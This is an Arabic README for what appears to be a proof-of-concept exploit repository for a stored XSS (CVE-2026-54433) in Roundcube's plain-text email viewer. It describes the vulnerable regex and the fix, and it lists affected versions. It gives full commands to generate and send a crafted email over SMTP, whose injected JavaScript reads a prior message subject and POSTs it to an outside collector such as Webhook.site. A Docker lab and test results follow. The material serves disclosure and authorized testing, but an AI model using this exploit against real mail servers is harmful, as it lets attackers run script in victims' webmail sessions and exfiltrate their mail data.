
PoC قابل للتخصيص بلغة Python لـ CVE-2026-54433، وهو تخزين XSS في عارض البريد الإلكتروني للنص العادي في Roundcube. يُنشئ ملفات .eml مصممة خصيصًا، ويرسلها عبر SMTP، ويتحقق من تأثيرها في بيئة مختبر Docker.

يحتوي هذا المستودع على إثبات مفهوم (PoC) بلغة Python قابل للتهيئة لـ CVE-2026-54433، وهي ثغرة برمجة نصية عبر المواقع (XSS) مخزنة في عارض البريد الإلكتروني النصي في Roundcube. يمكن لمرسل غير مصادَق تسليم رسالة text/plain مصممة بعناية. عندما يفتح مستخدم Roundcube مصادَق تلك الرسالة أو يعاينها، يتم تنفيذ JavaScript يتحكم فيه المهاجم في نطاق Roundcube.
يوضح إثبات المفهوم تأثيرًا ملموسًا على جلسة مصادقة دون جمع ملفات تعريف الارتباط أو أجسام الرسائل: فهو يقرأ موضوع رسالة أقدم واحدة ويرسل تلك القيمة، ونطاق Roundcube، واسم المهمة إلى مجمّع مصرح به كحقول POST مشفرة بعنوان URL.
تحذير
هذا كود استغلال فعّال. استخدمه فقط في مختبر تملكه أو ضد نظام وصندوق بريد مصرح لك باختباره صراحةً. ينقل وضع الإرسال بريدًا إلكترونيًا مصممًا وقد يكشف عن موضوع واحد موجود مسبقًا إلى المجمّع. استخدم
--generate-onlyللفحص دون اتصال.
يحوّل Roundcube العناوين الموجودة في الرسائل النصية إلى روابط mailto: قابلة للنقر. في الإصدارات المتأثرة، كانت لاحقة الاستعلام الاختيارية تُطابَق باستخدام \S+:
. '(\?\S+)?'
بما أن \S يتضمن < و >، يمكن لسلسلة تبدأ مثل عنوان بريد إلكتروني أن تجعل استبدال الروابط التلقائي يستهلك وسم HTML افتتاحيًا بينما يترك الباقي ليُفسَّر كترميز. هذا الشكل الأدنى يوضح اللبنة الأساسية:
يقيّد الإصلاح المُعتمد (upstream) لاحقة الاستعلام بحيث لا يمكن أن تحتوي على أقواس زاوية أو مسافات بيضاء:
. '(\?[^<>\s]+)?'
يصف البائع المشكلة بأنها "صفر نقرات" لأنه لا يلزم أي نقرة على رابط. فتح البريد أو معاينته أثناء المصادقة يظل إجراء عميل البريد الذي يعرض الحمولة.
| خط الإصدار | الحالة |
|---|---|
| إصدارات Roundcube قبل 1.6.17 | متأثر |
| Roundcube 1.6.17 وأحدث إصدارات 1.6.x | مصحّح |
| Roundcube 1.7.0 و 1.7.1 | متأثر |
| Roundcube 1.7.2 وأحدث | مصحّح |
الالتزامات العامة للإصلاح هي:
قم بالترقية إلى Roundcube 1.6.17 / 1.7.2 أو إصدار مدعوم أحدث.
text/plain.src نسبية فاشلة لاستدعاء onerror. لا يزال استدعاء المجمّع يتطلب وصول الشبكة من المتصفح.HttpOnly. لا يحاول إثبات المفهوم هذا قراءتها. يستخدم طلبه من نفس الأصل الجلسة المصادق عليها تلقائيًا، ويعتبر موضوع الرسالة المنفصلة دليلًا على التأثير.النتيجة المُثبتة هي تنفيذ JavaScript بمصادقة ووصول للقراءة إلى موضوع بريد سابق واحد. لا يدّعي هذا المستودع الاستيلاء على الحساب، أو سرقة أجسام رسائل تعسفية، أو تنفيذ كود من جهة الخادم.
إن cve-2026-54433-poc.py مكتفٍ ذاتيًا ويستخدم مكتبة بايثون القياسية فقط. وهو:
text/plain؛CVE-2026-54433؛subject وorigin وtask إلى /capture/<random-marker>؛تُدرج الحمولة تعليق DOM:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
كما تخفي جزء العنوان المرتبط تلقائيًا ومؤشر الصورة المعطوبة مع عرض النص الحميد المقدم من المستدعي.
أنشئ البريد الإلكتروني دون إجراء اتصال بالشبكة:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
ينشئ هذا الملفات التالية:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonافحص الرسالة المولدة قبل استخدام وضع الإرسال.
يمكن أن تكون قيمة --collector معرّف UUID لـ Webhook.site أو رابط التقاط أو رابط #!/view/. يشتق البرنامج النصي نقطتي الالتقاط والاستقصاء.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
إذا لم يكن SMTP_PASSWORD موجودًا، يطلب البرنامج النصي كلمة المرور دون عرضها أو تخزينها. يمكن تحديد متغير باسم مختلف باستخدام --smtp-password-env NAME. تجنب --smtp-password على الأنظمة متعددة المستخدمين لأن وسائط سطر الأوامر قد تكون مرئية في قوائم العمليات أو سجل الأوامر.
يطلب البرنامج النصي إدخال YES صراحةً قبل الإرسال. في الأتمتة المخبرية غير التفاعلية والمصرح بها مسبقًا، مرر --yes. ينتظر استدعاءً لمدة تصل إلى 24 ساعة افتراضيًا؛ استخدم --timeout SECONDS لتغيير ذلك.
بالنسبة لمجمّع ليس Webhook.site، مرر عنوان الأساس للالتقاط ونقطة نهاية اختيارية لحالة JSON:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
ينفّذ collector.py المُضمّن نقطتي النهاية المتوافقتين /capture/<marker> و/status. يرتبط بالعنوان المحلي loopback افتراضيًا. يُترك النشر الفعلي عبر HTTPS والتحكم في الوصول عمدًا إلى المختبِر المصرح له.
لا ينشر المختبر أي منافذ مضيفة ويحتوي على رسائل اصطناعية فقط. يستخدم نفس إثبات المفهوم بلغة Python لتوليد المشغّل، ويُسلّم الرسالتين إلى صندوق بريد Dovecot مؤقت، ويسجّل الدخول عبر متصفح مؤقت بدون واجهة رسومية (headless)، ويسجّل ما إذا كان المعالج المحقون قد قرأ الموضوع السابق.
المتطلبات: Docker و Python 3 و OpenSSL و jq.
اختبار النسخة المتأثرة:
./lab/run.sh
الاختبار الضابط للنسخة المصححة:
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
لتشغيل فيديو أو عرض توضيحي مباشر عبر المتصفح:
./lab/demo.sh
ينشر Roundcube والمجمّع المرئي على loopback فقط. افتح الرابطين اللذين يطبعهما البرنامج النصي، وأظهر المجمّع الفارغ في البداية، وسجّل الدخول باستخدام بيانات الاعتماد الاصطناعية المطبوعة، وانقر على البريد الإلكتروني المشغّل، ثم عد إلى المجمّع. يظهر الموضوع الاصطناعي الملتقط في جدول يتم تحديثه تلقائيًا. يزيل Ctrl-C الحاويات والشبكة المؤقتة.
لتسجيل تفاعل المتصفح واستدعاء Webhook.site حقيقي، استخدم المسجّل القابل لإعادة الإنتاج. يتطلب Chrome و Xvfb و ffmpeg و Docker ورمز Webhook.site مصرحًا به يتم توفيره عبر البيئة:
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
يُظهر ملف MP4 الناتج صف المشغّل المرئي في Roundcube، ونقرة الماوس مع تعليق توضيحي، وWebhook.site وهي تعرض الموضوع الاصطناعي المستلم. لا يُخزَّن الرمز أبدًا في شجرة المصدر.
الملف المسجّل: assets/CVE-2026-54433-webhook-demo.mp4
يتضمن التسجيل لوحة طرفية مرئية تعرض استدعاء Python في وضع التوليد فقط، ومخرجات توليد الحمولة، والنقرة في Roundcube، وطلب Webhook.site الناتج.
يقبل العرض المرئي أيضًا COLLECTOR_URL وCOLLECTOR_VIEW_URL؛ وجّه كلاهما إلى رمز Webhook.site مصرح به لإظهار المجمّع الحقيقي وهو يتلقى الموضوع الاصطناعي. لا تُعِد استخدام رمز يحتوي على طلبات غير ذات صلة.
أُجريت المقارنة الشاملة (end-to-end) في 2026-08-14 على Linux بمعمارية x86-64 مع Docker:
جسم الاستدعاء الإيجابي (قيمة اصطناعية، تم تعقيم الأصل):
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
المقارنة المنظمة والمعقّمة موجودة في docs/e2e-results.json.
يقوم الفحص دون اتصال بترجمة مصادر Python، ويولّد ملف .eml جديدًا، ويتحقق من نوع MIME، واللبنة الأساسية للحمولة، والنص المرئي، والتعليق، والبيانات الوصفية:
./verify.sh
عيّن RUN_DOCKER=1 لإلحاق اختباري Docker الضابطين الشاملين:
RUN_DOCKER=1 ./verify.sh
في 2026-08-14، لم تعثر عمليات البحث الموجّهة عن CVE-2026-54433 على GitHub و Exploit-Database و Packet Storm على استغلال مُتحقق منه وقابل للتهيئة لإرسال البريد مع مقارنة شاملة بين النسخة المتأثرة والمصححة. كانت هناك بالفعل إدخالات من البائع وقواعد بيانات الثغرات، ومناقشات قوالب الماسحات، وكتابات وصفية. هذه لقطة بحث مؤرخة، وليست ادعاءً بعدم وجود أي إثبات مفهوم آخر.
اكتشاف الثغرة: Bohdan Kurinnoy، معهد سامسونج للبحث والتطوير في أوكرانيا (SRUKR)، وفق ما نسب إليه Roundcube الفضل.
البحث، والتحقق من التأثير، وتنفيذ الاستغلال: A. Ramos <[email protected]> (تويتر: @aramosf).
إثبات مفهوم (PoC) لثغرة XSS المخزنة في البريد الإلكتروني النصي لـ Roundcube CVE-2026-54433، مع دليل محدود على موضوع صندوق بريد مصادق، ومختبر Docker للنسخة المتأثرة والمصححة.
| الاختبار الضابط | بصمة الصورة | المعالج المحقون | الموضوع السابق المُرسل | النتيجة |
|---|
| Roundcube 1.7.1 Apache | sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f | eval(name) موجود | نعم، POST بترميز URL | CONFIRMED |
| Roundcube 1.7.3 Apache | sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6 | غير موجود؛ تم إفلات الوسوم | لا استدعاء | NOT_CONFIRMED |